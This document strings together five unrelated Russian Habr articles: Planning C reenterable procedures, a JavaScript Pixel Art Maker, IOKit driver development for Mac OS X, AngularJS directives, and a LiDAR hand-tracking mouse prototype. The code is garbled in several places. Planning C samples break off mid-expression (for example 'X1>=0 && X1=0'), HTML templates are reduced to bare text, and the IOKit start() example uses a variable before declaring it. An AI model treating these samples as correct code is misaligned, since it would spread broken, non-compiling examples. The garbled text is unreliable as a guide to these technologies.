Предлагаю всем, кто заинтересуется, обсудить некоторые основные идеи классического и параллельного программирования в расширении C++, основанном на процедурах/функциях с планированием повторного входа (ПППВ/ФППВ). В минимальном варианте — это процедура или функция, у которой есть статический или динамический план исполнения. План является, вообще говоря, деком, состоящим из элементов-структур, каждая из которых имеет поля, аналогичные по типу и имени параметрам соответствующей функции/процедуры. План может пополняться как извне (до вызова процедуры/функции, с помощью некоторых простых приемов), так и изнутри (это основной подход) с помощью специальных вызовов помещения в начало **plan\_first(...)** или в конец **plan\_last(...)** плана.
ПППВ/ФППВ исполняется последовательно или параллельно, в соответствии с планом. В **последовательном режиме** она вызывается заново для каждого элемента плана (элемент по умолчанию извлекается из начала плана) и отрабатывает его полностью (до естественного завершения ПППВ/ФППВ или до return). При каждом вызове параметры ПППВ/ФППВ заполняются данными из одноименных полей текущего элемента плана. Как уже было сказано, в процессе исполнения любого из этапов, в план могут вставляться новые этапы, которые будут исполнены ПППВ/ФППВ далее. Для поддержки **параллельного режима** (в простейшем случае) в план помимо этапов могут вставляться специальные маркеры-барьеры, делящие план на группы. С помощью директивы **plan\_group\_parallelize** можно включить параллельное исполнение текущей (располагающейся в начале плана) группы, при этом она рассматривается как группа задач (task pool), из которой процессоры/ядра набирают себе на исполнение этапы-задачи. С помощью директивы **plan\_group\_vectorize** можно отправить группу задач на векторный вычислитель, такой как многоядерная видеокарта (правда, при этом в оформлении программы могут возникнуть некоторые особенности — например, может потребоваться явно отметить, какие из блоков программы предназначены только для векторного вычислителя, какие — только дя ЦПУ, какие — и для ЦПУ и для векторного
устройства).
Уже такой базовый подход дает, как минимум:
* еще один способ программирования многих задач, использующих стек, дек, очередь и, иногда даже массив.
* еще один подход к программированию параллельной обработки для SMP-систем и векторных вычислителей (многоядерные графические карты).
Чтобы не затруднять понимание, сразу приведу пару примеров.
**Параллельное суммирование элементов в дереве. Используется редукционный параметр SumResult.**
```
reenterable[ARR_SIZE] TreeSum(TreeNode * Cur, reduction(+) DataItem & SumResult)
{
if (Cur==Root) plan_group_parallelize;
if (Cur->Left) plan_last(Cur->Left,SumResult);
if (Cur->Right) plan_last(Cur->Right,SumResult);
SumResult = Cur->Data;
}
```
**Волновой алгоритм Ли: поиск пути в лабиринте.**
```
const int NL = 10; /* Размер лабиринта */
const unsigned char W = 0xFF; /* Стенка */
/* Лабиринт */
unsigned char Labirint[NL][NL] =
{
{W,W,W,W,W,W,W,W,W,W},
{W,0,0,0,0,0,0,0,0,W},
{W,0,W,W,0,0,W,0,0,W},
{W,0,0,W,0,0,W,0,0,W},
{W,0,0,W,W,0,W,0,0,W},
{W,0,0,0,W,W,W,0,0,W},
{W,0,0,0,0,0,0,0,0,W},
{W,0,0,0,0,0,0,0,0,W},
{W,0,0,0,0,0,0,0,0,W},
{W,W,W,W,W,W,W,W,W,W},
};
/* Приращения для сдвига относительно текущей клетки влево, вверх, вниз, вправо */
signed char OffsX[4] = {-1,0,0,+1};
signed char OffsY[4] = {0,-1,+1,0};
const char FirstX = 8; /* Точка отправления */
const char FirstY = 8;
const char LastX = 5; /* Точка назначения */
const char LastY = 4;
chain[NL*NL] FindLi(unsigned char X, unsigned char Y, int Num) throw(unsigned char X, unsigned char Y)
{
char Found = 0;
for (int i=0; !Found && i<4; i++) { /* Просматриваем клетки рядом */
unsigned char X1 = X+OffsX[i];
unsigned char Y1 = Y+OffsY[i];
if (X1>=0 && X1=0 && Y1=0 && X1=0 && Y1
```
И еще один **абстрактный пример работы с многоядерной видеокартой**, который приведу без пояснений. Возможно, кому-нибудь будет интересно догадаться, как он работает.
```
#pragma plan vectorized
#include
using namespace std;
#pragma plan common begin
#define N 5
#define threads 100
#pragma plan common end
#pragma plan gpu begin
#define addition 0.01
#pragma plan gpu end
float MUL = 3.14;
float \* \_OUT = NULL;
reenterable void proc(bool init, int k, \_global(1) float \* mul, \_global(threads) int \* sizes, int n, \_local(\_\_planned\_\_.n) float \* out) {
int i;
if (init) {
for (i = 0; i < threads; i++) {
plan\_last(false, i, mul, sizes, sizes[i], out);
out += sizes[i];
}
plan\_group\_vectorize(NULL);
} else
for (i = 0; i < n; i++) {
\*out = k\*(\*mul);
#ifdef \_\_GPU\_\_
\*out += addition;
#endif
out++;
}
}
int main() {
int \* sizes = new int[threads];
int NN = 0;
for (int i = 0; i < threads; i++) {
sizes[i] = 1 + i % 2;
NN += sizes[i];
}
\_OUT = new float[NN];
cout<<"MAX group size = "<
```
Теперь, отмечу, что если рассматривать ПППВ/ФППВ как некий элементарный узел вычислительной топологии (графа) и определить конструкции, позволяющие одной ПППВ/ФППВ пополнять план другой (соседней по графу) ПППВ/ФППВ, то можно дествительно работать с достаточно сложными вычислительными топологиями, причем как в случае общей, так и в случае раздельной памяти (например, на кластере — там передача элементов плана по графу будет выполняться с помощью простых операций передачи по сети). Операции пополнения плана другой ПППВ/ФППВ называются **throw\_first(...)** и **throw\_last(...)**. Их параметры определяются параметрами вызова соответствующих принимающих ПППВ/ФППВ. Если какая-либо ПППВ/ФППВ имеет только одного соседа-приемника в топологии (например, в конвейере), то параметры самые обычные. Если соседей-приемников несколько, то один из параметров делается специальным — адресным. Все одноименные (соответствующие одной ПППВ/ФППВ) узлы графа-топологии нумеруются, поэтому в адресном параметре указывается имя принимающей ПППВ/ФППВ за которым в квадратных скобках идет ее номер. Топологии пока предлагается описывать или статически (особыми конструкциями для вектора/конвейера или списками дуг для произвольного графа) или полустатически — когда список дуг генерируется специальными (порождающими код) вставками — макромодулями (могут быть, например, написаны по схожей с PHP идеологией — вставки генерируют фрагмент текста программы, можно использовать любой язык в зависимости от задач, хоть PHP, хоть GNU Prolog). Технически не исключена и возможность обычного динамического порождения топологии с помощью вызовов неких функций.
Для полноценной работы дополнительно всегда могут использоваться каналы/ленивые переменные, транзакционная память, барьеры, семафоры и т.п.
Приведу несколько примеров с различными топологиями.
**Вычисление на конвейере минимального и максимального элементов дерева.**
```
chain[ARR_SIZE] TreeMax(TreeNode * Cur, reduction(max) DataItem & MaxResult)
{
static DataItem DummyMin;
throw_last(Cur,DummyMin);
if (Cur==Root) plan_group_parallelize;
if (Cur->Left) plan_last(Cur->Left,MaxResult);
if (Cur->Right) plan_last(Cur->Right,MaxResult);
MaxResult = Cur->Data;
}
chain[ARR_SIZE] TreeMin(TreeNode * Cur, reduction(min) DataItem & MinResult)
{
if (Cur==Root) plan_group_parallelize;
MinResult = Cur->Data;
}
void TreeMinMax(DataItem & Min, DataItem & Max)
{
Max.fill(0.0);
Min.fill(1000.0);
plan_parallel_chain(0,TreeMax(Root,Max),TreeMin(Root,Min));
}
```
**Пример с топологией «иголка с ушком», может применяться для тестирования производительности конкретной реализации**
```
#include
using namespace std;
bool stop;
chain A(bool init) throw(bool init, int N) {
stop = false;
throw\_first(false, 1);
Sleep(2000);
stop = true;
}
chain B(bool init, int N) throw(bool init, bool \_stop, int N) {
if (!init) {
if (stop) throw\_first(false, true, N);
else throw\_first(false, false, N+1);
}
}
chain C(bool init, bool \_stop, int N) throw(bool init, int N) {
if (!init) {
if (\_stop) {
cout<B(true,0)->C(true,false,0)); /\* Прямые связи топологии \*/
plan\_parallel\_reverse(C(true,false,0)->B(true,0)); /\* Одна обратная связь \*/
}/3;
return 0;
}
```
Все, что описано выше, реализовано в качестве расширения C++ (Planning C). Есть простой демонстрационный транслятор, реализующий, помимо вышеизложенного, еще некоторые интересные вещи. | https://habr.com/ru/post/336458/ | null | ru | null |
# Пишем Pixel Art Maker на JavaScript

Доброго времени суток, друзья!
### Предисловие
Однажды веб серфинг привел меня к [этому](https://codepen.io/agilBAKA/pen/yJGobo).
Позже обнаружил [статью](https://css-tricks.com/fun-times-css-pixel-art/) про то, как это работает.
Казалось бы, ничего особенного — Пикачу, нарисованный средствами CSS. Данная техника называется Pixel Art (пиксельное искусство?). Что меня поразило, так это трудоемкость процесса. Каждая клеточка раскрашивается вручную (ну, почти; благо существуют препроцессоры; Sass в данном случае). Конечно, красота требует жертв. Однако разработчик — существо ленивое. Посему я задумался об автоматизации. Так появилось то, что я назвал Pixel Art Maker.
### Условия
Что мы хотим получить?
Нам нужна программа, генерирующая заданное количество клеточек с возможностью их раскрашивания произвольными цветами.
Вот парочка примеров из сети:
* [пример 1](https://www.pixilart.com/draw)
* [пример 2](http://pixelartmaker.com/)
Дополнительные функции:
* форма клеточек — квадрат или круг
* ширина клеточек в пикселях
* количество клеточек
* цвет фона
* цвет для раскрашивания
* функция создания холста
* функция отображения номеров клеточек
* функция сохранения/удаления изображения
* функция очистки холста
* функция удаления холста
Более мелкие детали обсудим в процессе кодинга.
Итак, поехали.
### Разметка
Для реализации необходимого функционала наш HTML должен выглядеть примерно так:
```
Shape Form
Square
Circle
Shape Width
(from 10 to 50)
Shape Number
(from 10 to 50)
Background Color
Shape Color
``` | https://habr.com/ru/post/495772/ | null | ru | null |
# Основы работы с IOKit. Тонкости программирования драйверов
В рамках поддержки блога разработки под Mac OS X, я представляю свою статью о низкоуровневой разработке под Mac OS X. Обычно тема разработки драйверов не столь популярна, однако и здесь Mac OS X выгодно выделяется из ряда прочих операционных систем. Да, писать драйвера для Mac O S X – просто! Проще чем когда-либо ранее!
### Экскурс в глубины теории
Очень часто я слышу фразы, что Mac OS X – это Linux. Или же что OS X основано на ядре FreeBSD и посему драйвера легко портировать из одной системы в другую. А вот и нет! Очень часто концепция разработки под Mac OS X противоречит классическим принципам, к примеру вместо традиционных спин локов (spin lock) Apple предлагает использовать примитив IOCommandGate для синхронизации доступа. Также достаточно жестко регламентируется использование ядерной памяти. Примерный совет от Apple выглядит так: «Выделяйте столько памяти в ядре, сколько вам необходимо использовать и не байтом больше. Предпочитайте основную часть работы с большими буферами памяти переносить в пользовательский режим (user space)».
Сердцем, т.е. ядром, Mac OS X является XNU. XNU – это гибридное ядро, которое сочетает в себе множество преимуществ, а также недостатков, монолитных и микроядерных ОС. Собственно, XNU состоит из микроядра mach, разработанного институтом Карнеги Мелоуна, подсистемы Posix из BSD 4.3 (позже эта часть синхронизировалась с последней веткой FreeBSD, дописывалась самой Apple, а также 3-ми лицами), и объектно-ориентированного фреймворка IOKit, на который положена ответственность взаимодействовать с аппаратной частью Mac’ов. Стоит упомянуть, что ядро mach предоставляет операционной системе следующие сервисы: планировщик потоков и процессов, вытесняющую многозадачность (pre-emptive), механизм виртуальной памяти, защиту памяти, mach-IPC (через передачу сообщений), отладчик ядра.
### Кое-что об IOKit
И так, что же из себя представляет IOKit? Как и многие другие наработки, IOKit – это наследие NeXT Computer (гениальные люди видимо работали в NeXT). IOKit – это объектно-ориентированный фреймворк реализующий драйверную модель Mac OS X. Написан IOKit на С++, вернее на его урезанной версии – Embedded C++ [1]. Проще говоря, это старый добрый С++ без множественного наследования, RTTI, шаблонов и исключений. Также в IOKit запрещается определять конструкторы и деструкторы классов. Впрочем, если очень хочется, то использовать можно все, кроме RTTI и исключений, но Apple за это вас по голове не погладит! Ранее IOKit был написан на Objective C, как и фреймворк Cocoa, и назывался Driver Kit. Однако, для упрощения разработки драйверов 3-ми лицами, Driver Kit переписали на C++. Впрочем, по словам одного из основных разработчиков IOKit, Годфри ван дер Линдена (Godfrey van der Linden), это решение было ошибочным. Тем не менее, в IOKit можно невооруженным взглядом увидеть наследие Objective C, к примеру механизм подсчета ссылок и retain/release, именование классов (приставки OS и IO), именование методов классов и многое другое. Еще один интересный факт: Godfrey van der Linden — студент университета Nicta, того самого австралийского НИИ, который открыл исследовательский проект Darbat [2].
Для того, чтобы приступить в делу вам достаточно установленного XCode SDK, собственно самого IDE XCode, а также Terminal.app для загрузки драйверов. При создании нового проекта, выберете Generic IOKit Driver и XCode создаст для вас пустой проект. Вам остается только добавить код драйвера, откомпилировать его, и загрузить с помощью следующих строк (предполагается, что драйвер называется SampleDriver.kext):
`sudo chmod –R 0755 ./SampleDriver.kext
sudo chown –R root:wheel ./SampleDriver.kext
sudo kextload –t ./SampleDriver.kext`
Как видно из вышеприведенных строк: загрузка драйвера выполняется с правами root с помощью сторонней программы kextload (из набора kext utils, который в свою очередь входит в xnu utils). Драйвер, как и любое приложение Mac OS X (за исключением простых консольных приложений), представляет из себя bundle, т.е. директорию в которой хранятся данные, которые непосредственно относятся к драйверу, а именно: Info.plist файл, файл с локализированными строками и конечно же сам бинарный файл драйвера (SampleDriver.kext/Contents/MacOS/SampleDriver). Также драйвер может содержать дополнительные ресурсы (SampleDriver.kext/Contents/Resources), либо другие драйверы (SampleDriver.kext/Contents/PlugIns).
IOKit в своей концепции активно эксплуатирует две парадигмы ООП: наследование и полиморфизм. Наследование позволяет уменьшить количество использованной ядерной памяти: любой IOKit драйвер, наследует определенный базовый класс, который специфичен для каждого стека устройств в системе. Например для драйверов LAN устройств – это IOEthernetController, WAN устройств – IO80211Controller, звуковых карт – IOAudioDevice и т.д. Механизм виртуальных функций, позволяет драйверу легко переопределить определенные методы базово класса, таким образом реализуя необходимую функциональность.
### Проба пера
Любой класс в IOKit драйвере должен быть прямо или косвенно унаследован от класса OSObject. Этот класс обеспечивает подсчет ссылок, поддержку псевдо-RTTI за счет макросов и дополнительной метаинформации, примитивы для создания инстанса класса (перегруженный оператор new) в среде IOKit и многое другое. Самый простой IOKit класс выглядит следующим образом:
\*.h файл:
class MyIOKitClass: public OSObject
{
OSDeclareDefaultStructors(MyIOKitClass)
public:
virtual bool init();
protected:
virtual void free()
private:
void \*fSimpleMember;
};
\*.cpp файл:
bool MyIOKitClass::init()
{
if (!OSObject::init())
return false;
// TO-DO: Add basic initialization here
fSimpleMember = NULL;
return true;
}
void MyIOKitClass::free()
{
// TO-DO: Add deinitialization code here
if (fSimpleMember)
{
// ...
}
OSObject::free();
}
Наш класс MyIOKitClass унаследован от класса OSObject, в нем переопределены два метода:1. bool init() – данный метод будет вызван тогда, когда будет создан новый инстанс класса. В методе рекомендуется проводить начальную инициализацию полей класса, в общем все то, что вы бы сделали в конструкторе.
2. void free() – данный метод будет вызван во время того, когда будет вызван последний release для экземпляра класса и его счетчик ссылок будет равен 0. Т.е. роль метода – деструктор класса.
Также в переопределенных методах необходимо вызывать методы класса-предка, для того, чтобы IOKit выполнял основную часть работы по инициализации/уничтожению инстанса класса за вас.
От OSObject могут быть унаследованы лишь вспомогательные классы, которые необходимы при реализации более крупной системы. Главный класс драйвера (да и любой другой класс, который претендует на то, чтобы предоставлять операционной системе определенные сервисы) прямо или косвенно наследуется от класса IOService.
IOService помогает реализовать в вашем драйвере поддержку Plug’n’Play, Power Management (организовывает взаимодействие с Power Domain операционной системы), взаимодействие с IORegistry и другими драйверами системы. Здесь следует также упомянуть про IORegistry – это не что иное, как динамическое дерево устройств Mac OS X. Строить это дерево начинает загрузчик ОС (boot loader), ядро ОС, а также вспомогательные драйвера. К примеру драйвер IOACPIPlatformExpert строит в IORegistry дерево всех PCI устройств в системе, основываясь на информации из ACPI таблиц, а также APIC контроллера прерываний.
IOService имеет два достаточно полезных метода, которые вам наверняка следует реализовывать в большинстве ваших драйверов:1. bool start( IOService \*provider ) – данный метод будет вызван во время старта вашего драйвера. Здесь вы можете поместить код, который будет заниматься выделением ресурсов, необходимых драйверу.
2. void stop( IOService \*provider ) – этот метод будет вызван во время останова вашего драйвера.
В сигнатуре вышеприведенных методов, вы могли заметить параметр provider. И так, что же он значит, и для чего нужен? Все очень просто, как было сказано ранее, в Mac OS X существует динамический список устройств IORegistry. В нем существует связка наб-драйвер. Любой драйвер, может регистрировать в системе свои сервисы и делать их набами (nubs) для любых других драйверов. Итак, наб – это класс, который другой драйвер системы зарегистрировал в IORegistry, и теперь этот наб может быть передан как провайдер в ваш драйвер. К примеру, для драйверов PCI устройств набом является инстанс класса IOPCIDevice. Информация о набе, а также идентификаторы устройства задаются в Info.plist файле драйвера. Следующая секция Info.plist файла иллюстрирует этот прием (данный код был взят из моего сетевого драйвера):
<dict>
<key>Realtek RTL8111B/RTL8168 NICkey>
<dict>
<key>CFBundleIdentifierkey>
<string>rtl.r1000.nic.extstring>
<key>IOClasskey>
<string> RealtekR1000string>
<key>IOPCIMatchkey>
<string>0x816910ec 0x816710ec 0x816810ec 0x813610ecstring>
<key>IOProbeScorekey>
<integer>500integer>
<key>IOProviderClasskey>
<string>IOPCIDevicestring>
dict>
dict>
Опишем наиболее значимые параметры:* IOProviderClass – указывает тип наба, который IOKit передаст в метод start нашего драйвера.
* IOClass – это имя класса нашего драйвера. Если обратится к нашему предыдущему примеру — это MyIOKitClass.
* CFBundleIdentifier – bundle идентификатор нашего драйвера, проще говоря этот параметр однозначно идентифицирует наш драйвер в системе.
* IOPCIMatch – список DeviceID-VendorID PCI устройств, которые будет обслуживать наш драйвер. К примеру возьмем 0x816810ec, 0x8168 – это DeviceID нашего сетевого контроллера, 0x10ec – это VendorID, в данном случае Realtek.
Остальные параметры – тема для еще одной статьи ;) Примерный же код нашего метода start будет выглядеть так:bool RealtekR1000::start(IOService \*provider)
{
if (!IOEthernetController::start(pciDev))
return false;
IOPCIDevice \*pciDev = NULL;
pciDev = OSDynamicCast(IOPCIDevice, provider);
if (!pciDev)
return false;
pciDev->retain();
pciDev->open(this);
// Add initialization of device here
return true;
}
Я надеюсь, что данный код более-менее понятен для вас, добавлю лишь, что OSDynamicCast – это макрос, который заменяет отсутствие RTTI в IOKit за счет использования дополнительной метаинформации.
### Сделаем что-нибудь полезное?
Все что вам необходимо сделать, чтобы создать свой сетевой драйвер:* Создать скелет для драйвера, как было описано выше.
* Унаследовать класс драйвера от класса IOEthernetController.
* Переопределить необходимые методы в своем классе (всего около 10-12).
* Задать необходимые параметры в Info.plist файле.
И драйвер готов! Как видим, Mac OS X в очередной раз поражает нас изяществом. Здесь нет никаких огромных \*.inf файлов, никакой системы минипортов, и прочих неочевидных вещей. Портирование драйвера для сетевого контроллера с Linux в Mac OS X заняло у меня около 7 дней, при том, что я должен был также освоить основы IOKit с нуля.
На этом этапе я намеряно делаю паузу до следующей статьи, если конечно же кому-то будет интересна данная тематика на хабре. Я опустил такие интересные вещи, как: Power Management, работа с IO портами и DMA, взаимодействие с user space и т.д. Желающим освоить IOKit могу порекомендовать начать с туторила IOKit Fundamentals [3], а заинтересованным – список тем о низкоуровневой разработке, которые им были бы наиболее интересны. Прошу оставлять свои отклики и пожелания ;)
### Полезные ссылки
[1] [Embedded C++](http://en.wikipedia.org/wiki/Embedded_C%2B%2B)
[2] [Darbat project](http://ertos.nicta.com.au/software/darbat/)
[3] [IOKit Fundamentals](http://developer.apple.com/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Introduction/chapter_1_section_1.html) | https://habr.com/ru/post/36875/ | null | ru | null |
# Разработка директив angularjs — это просто
#### AngularJS директивы – это клево
[AngularJS](http://angular.ru/) является каркасом (фреймворком) для построения web приложений, который позволяет создавать сложные приложения достаточно просто. Одна из его лучших возможностей, это создание [директив](http://angular.ru/guide/directive), которые являются повторно используемыми web компонентами. Это дает возможность создавать новые HTML теги и атрибуты, которые могут динамично отображать контент в ответ на изменение данных, и обновлять сами данные, в случае необходимости.
Это очень высокопроизводительный подход, поскольку он позволяет вам оборачивать сложное взаимодействие с DOM в повторно используемые пакеты кода.
#### В начале создание директив кажется запутанным.
Пройдет немного времени, и вы поймете, насколько полезны директивы. Встроенные в [AngularJS](http://angular.ru/) директивы являются прекрасным примером их разработки. Но в первое время, при создании директив возможны некоторые трудности с пониманием их работы. Команда Angular сделала хорошую работу, создав директивы чрезвычайно гибкими и мощными, хотя вся эта мощь дается начинающему не без труда.
В частности, трудно понять, как создать директиву, которая бы реагировала на изменение данных, изменяла данные, реагировала на определенные события или сама их возбуждала. В основном это сводится к одному вопросу:
*Как мне взаимодействовать с директивой?*
Эта статья призвана объяснить и упростить некоторые из наиболее распространенных проблем, которые могут возникать при создании директив.
#### Принципы создания директив
Директивы сделают вашу жизнь легче только в случае, если вы сможете их использовать без необходимости читать и изменять исходный код. В этом случае можно забыть как они работают, а просто знать что они делают.
Если вы ранее использовали один из ориентированных на представления фрэймворков, таких как [Backbone](http://backbonejs.org/), возможно вы захотите разделить ваше приложение на мелкие куски, используя директивы. Например, если вы хотите отобразить список пользователей, можно создать директиву, которая будет читать `$scope.users` и выводить их в представлении:
```
```
Директива user-list работает. Заметьте, ее использование соответствует принципу «не повторяйся» ([DRY](http://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself))! Однако, давайте сравним ее с [ng-repeat](http://angular.ru/api/ng.directive:ngRepeat), которая обрабатывает только повторения. Какую из них можно использовать повторно в разных местах? Что делать, если вам нужно отобразить пользователей по разному в двух местах?
**Хорошая директива делает что-то одно**
`ng-repeat` лучше чем `user-list` потому что она отвечает только за одно действие: Она только повторяет определенную часть, так что ее можно использовать во многих ситуациях. Легко понять, что она делает. Вместо того, чтобы делать одну директиву, которая отвечает за все, лучше разбейте ее на несколько директив, которые будут выполнять специфические задачи, и используйте их вместе.
**Хорошая директива не зависит от специфики приложения**
Директивы тем более полезны, чем меньше они делают предположений относительно приложения. Директива, которая позволяет пользователю указать, за каким свойством наблюдать, такая как `ng-model`, является более полезной, чем директива, которая предполагает, что `$scope.users` существует. Как правило, если ваша директива должна использоваться в различных приложениях, она должна следовать этому правилу, чтобы можно было сказать, что она хорошо разработана, даже если вы и не собираетесь ее публиковать.
На сегодня достаточно теории. Давайте погрузимся в некоторые конкретные примеры, демонстрирующие распространенные способы взаимодействия с директивами.
#### Как отображать привязки
Первое, что нужно знать, как сделать директиву, которая будет отображать значение привязанного свойства: так как это делается с двойными фигурными скобками. Для примера давайте сделаем директиву, которая будет отображать фотографию и подпись к ней.
Первым шагом в проектировании любой директивы является выбор имен для атрибутов, которые будут представлять ее в вашем интерфейсе. Я выбрал `photo-src` для указания источника изображения, и `caption` для подписи. Будьте осторожны, чтобы не использовать имена, уже использующиеся другими директивами, такие как `ng-src`, если вы не знаете, как они работают.
Во вторых, нужно решить, будете ли вы поддерживать только атрибуты и имена классов, или также будете поддерживать элементы. В нашем случае, мы хотим чтобы `photo` был элементом.
```
```
Обратите внимание, что я не передавал директиве объект фотографии полностью. Такое решение позволяет лучше адаптировать директиву для работы с другой структурой данных.
Чтобы прочитать значения привязанных свойств, используется `attrs.$observe`. В этом случае функция обратного вызова будет вызываться каждый раз, когда значение привязанного свойства будет изменено. Затем мы используем `element` для внесения изменений в DOM.
```
app.directive('photo', function() {
return {
// обязательно, для поддержки работы через элемент
restrict: 'E',
// заменить этим html
template: '![]()',
replace: true,
// наблюдение и манипулирование DOM
link: function($scope, element, attrs) {
attrs.$observe('caption', function(value) {
element.find('figcaption').text(value)
})
// атрибуты именуются с применением «верблюжьей» нотации
attrs.$observe('photoSrc', function(value) {
element.find('img').attr('src', value)
})
}
}
}
})
```
Кроме этого, если ваш компонент имеет собственный шаблон, вы можете делать все это в изолированной области видимости.
```
app.directive('photo', function() {
return {
restrict: 'E',
templateUrl: 'photo.html',
replace: true,
// передача двух атрибутов из attrs в область видимости шаблона
scope: {
caption: '@',
photoSrc: '@'
}
}
})
```
```
![]()
{{caption}}
```
#### Как читать и записывать данные
Некоторые директивы также должны записывать данные, например `ng-model`.
Давайте сделаем директиву для кнопки переключателя. Эта директива будет автоматически устанавливать состояние переключателя, в зависимости от некоторого логического значения в области видимости, и при клике на кнопке, она будет менять состояние на противоположное.
При передаче данных подобным образом, вам не нужно использовать фигурные скобки, вы используете «выражения». Выражение – это код javascript, который будет исполнен в определенной области видимости. Выражения можно использовать во всех случаях, когда вам нужно записать данные, или когда в директиву передается объект или массив, вместо строки.
```
Show Details
```
Сначала мы используем `=` в `scope`: чтобы сделать `scope.toggle` доступным в нашей директиве. Хотя это явно не указано нигде внутри директивы, при использовании этого синтаксиса `scope.toggle` читает и записывает свойство, которое пользователь указал в атрибуте.
```
app.directive('toggle', function() {
return {
scope: {
toggle: '=',
},
link: function($scope, element, attrs) {
```
Затем мы используем `scope.$watch`, которая выполняет переданную ей функцию каждый раз, когда значение выражения изменяется. Мы будем добавлять или удалять css класс `active`, внутри обработчика, вызываемого при изменениях.
```
$scope.$watch("toggle", function(value) {
element.toggleClass('active', value)
})
```
В конце, давайте подпишемся на событие `click`, где будем обновлять область видимости. Нам нужно использовать `scope.$apply` каждый раз, когда изменения происходят вне контекста выполнения Angular.
```
element.click(function() {
$scope.$apply(function() {
$scope.toggle = !$scope.toggle
})
})
}
}
})
```
[Рабочее демо](http://seanhess.github.io/examples/angular-button-toggle.html)
#### Как экпонировать события
В некоторых случаях требуется, чтобы контроллер реагировал на события, происходящие внутри директивы, например как в `ng-click`. Давайте сделаем директиву `scroll`, которая может вызывать функцию, когда пользователь прокручивает элемент. Кроме этого, давайте также обрабатывать при этом значение смещения прокрутки.
`...`
Аналогично кнопке переключателю, мы передаем любую функцию, указанную в атрибуте `scroll`, в область видимости нашей директивы.
```
app.directive('scroll', function() {
return {
scope: {
scroll: "&"
},
link: function($scope, element, attrs) {
```
Мы будем использовать событие прокрутки jQuery, чтобы получить нужное нам поведение. Здесь также нужно вызвать `scope.$apply`, потому что, хотя обработчик вызывается, он вызывается не в контексте контроллера.
```
element.scroll(function() {
$scope.apply(function() {
var offset = element.scrollTop()
$scope.scroll({offset:offset})
})
})
}
}
})
```
Обратите внимание, мы не передаем значение смещения в первом параметре, мы передаем хэш доступных параметров, и делаем их доступными внутри выражения `onScroll(offset)`, которое было передано через атрибут. Это гораздо более гибкий подход, чем передача параметров напрямую, так как могут передаваться и другие параметры области видимости в соответствующие функции, например, текущий элемент в `ng-repeat`.
[Рабочее демо](http://seanhess.github.io/examples/angular-scroll.html)
#### Как получить содержимое HTML
Директивы могут иметь любое содержимое html, но, как только вы зададите шаблон, их содержимое меняется на него.
Давайте создадим компонент `modal`: всплывающее окно с кнопкой закрытия, для которого требуется сохранить его содержимое, заданное в html.
```
Some contents
Put whatever you want in here
```
Наш элемент `modal` состоит более чем из одного элемента. Когда мы делаем шаблон, мы вставляем в него все полученное содержимое, там где это необходимо, просто добавив специальную директиву `ng-transclude` в `div`.
```
Close
Modal
-----
```
Передача содержимого из директивы шаблону включается очень просто. Чтобы это сделать, просто установите `transclude: true`:
```
app.directive('modal', function() {
return {
restrict: 'E',
templateUrl: 'modal.html',
replace: true,
transclude: true,
}
})
```
Для достижения более сложных результатов можно объединять любые методы из этой статьи.
#### Как реагировать на события
Иногда может потребовать вызвать функцию в вашей директиве при наступлении определенного события области видимости. Например, вы можете захотеть закрыть открытое модальное окно в случае нажатия пользователем клавиши escape.
Практически всегда это означает, что вы уделяете слишком много внимания событиям, хотя вы должны думать о потоке данных. Контроллеры не только содержат данные, они также содержат состояние представления. Нормальной практикой является иметь логическую переменную `windowShown` в контроллере, к которой привязываться с использованием `ng-show`, или передавать логическое значение в вашу директиву, способом, описанным выше.
Встречаются случаи, когда имеет смысл использовать `$scope.$on` в директиве, но для начала, вместо этого, постарайтесь подумать о проблеме с точки зрения изменения состояния. В Angular все становиться гораздо проще, если вы сосредоточите свои усилия на данных и состоянии, вместо событий.
#### Дополнительная информация
Директивы могут делать на много больше. Но все эти дополнительные возможности не охватываются в этой статье. Пожалуйста, посетите [страницу документации по директивам](http://angular.ru/guide/directive) для получения дополнительной информации. | https://habr.com/ru/post/200620/ | null | ru | null |
# Пора избавляться от мышки или Hand Pose Estimation на базе LiDAR за 30 минут

Всем привет! Пока киберпанк еще не настолько вошел в нашу жизнь, и нейроинтерфейсы далеки от идеала, первым этапом на пути к будущему манипуляторов могут стать [LiDAR](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%B4%D0%B0%D1%80). Поэтому, чтобы не скучать на праздниках, я решил немного пофантазировать на тему средств управления компьютером и, предположительно, любым устройством, вплоть до экскаватора, космического корабля, дрона или кухонной плиты.
Предлагаю начать с просмотра коротенького видео, на котором видно, как можно за пару вечеров накидать простейшее управления курсором мышки на основе [Object Detection](https://en.wikipedia.org/wiki/Object_detection#:~:text=Object%20detection%20is%20a%20computer,in%20digital%20images%20and%20videos.), [Hand Pose Estimation](https://mks0601.github.io/InterHand2.6M/) и камеры [Intel Realsense L515](https://www.intelrealsense.com/lidar-camera-l515/). Конечно, оно далеко от идеала, но кажется, что осталось совсем немного подтянуть технологии и появятся принципиально новые способы управлять устройствами.
Справа на экране в реальном времени происходит отображение руки в RGB и Depth формате, то есть на карте глубины, получаемой с лидара, что даёт нам возможность получить координаты ключевых точек фаланги пальца — это красные и чёрные точки соотвественно. Как видно на видео, курсор двигается довольно плавно, и мне не потребовалось долго привыкать к такому управлению.
Зелёный луч, выходящий из указательного пальца — это проекция прямой, пересекающий плоскость монитора на ось XY. Спустя пару минут я уже мог направить палец-курсор в нужное мне место.
Основная идея — это двигать мышь, передвигая не всю руку, а только указательный палец, что позволит не отрывая рук от клавиатуры, бегать по меню, нажимать кнопки и в совокупности с горячими клавишами превратиться в настоящего клавиатурного ninja! А что будет если добавить жесты пролистывания или скролла? Думаю будет бомба! Но до этого момента нам еще придётся подождать пару-тройку лет)
Начнём собирать наш прототип манипулятора будущего
--------------------------------------------------
Что понадобится:
1. Камера с LiDAR Intel Realsense L515.
2. Умение программировать на python
3. Совсем чуть-чуть вспомнить школьную математику
4. Крепление для камеры на монитор ака штатив
Крепим камеру на шатив с алиэкспресс, он оказался очень удобный, лёгкий и дешевый )


#### Разбираемся, как и на чём делать прототип
Существует много подходов для реализации подобной задачи. Можно самому обучить детектор или сегментацию руки, вырезать полученное изображение правой руки и дальше применить к изображению вот этот замечательный репозиторий от [Facebook research](https://github.com/facebookresearch/InterHand2.6M), получить отличный результат или сделать еще проще.
Использовать [mediapipe](https://github.com/google/mediapipe) репозиторий, прочитав эту [ссылку](https://ai.googleblog.com/2019/08/on-device-real-time-hand-tracking-with.html) можно понять, что это один из лучших вариант на сегоднешний день.
